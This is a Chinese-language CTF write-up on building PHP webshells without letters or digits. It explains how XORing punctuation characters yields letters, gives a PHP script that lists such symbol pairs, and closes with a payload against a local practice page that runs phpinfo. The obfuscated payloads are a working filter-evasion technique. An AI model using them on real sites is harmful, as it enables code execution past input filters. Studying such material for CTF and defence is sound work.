无字母数字webshell

最近ctf经常遇到类似姿势的题目,最开始还是比较蒙的 今天来进行一个总结

文章参考p牛的博客

一些不包含数字和字母的webshell

无字母数字 如何构造一句话木马。

这里用到三种方法

异或构造

这种方法用到特殊符号的异或最终得到数字或者字母

QQ截图20191224172326.png

如上图

1
2
echo "~"^"$"
echo "^"^"<"

即可构造出字母 转换过程为

将两个要比较的字符转换成ascii之后。进行异或运算后得到了字母

~ascii值为126 126的二进制为1111110

$ascii值为36 36的二进制为 0100100

两个二进制的值进行异或运算得到 1011010转换成ascii为90 也就是对应大写字母Z

那么我们如果构造处一句话 不可能一个一个去试对吧 这里贴上一个 异或得到字母的PHP脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$test = '~!@#$%^&*()_+\|/?.,-={}[]';
for($i=0;$i<strlen($test);$i++){
for($j=0;$j<strlen($test);$j++){
if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '<br>';
}else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '<br>';
}
}
}
?>

CTF

一道简单的题目 首先我们构造异或后为phpinfo的 payload

QQ截图20191225085124.png

1
2
3
4
5
6
7
-^]		p
(^@ h
-^] p
)^@ i
.^@ n
=^{ f
@^/ o

QQ截图20191225085455.png

传入的知识phpinfo字符串 最终还需传入括号

最终payload为

1
http://127.0.0.1/webshell/ctf.php?code=$_='-(-).=@'^']@]@@[/';$_();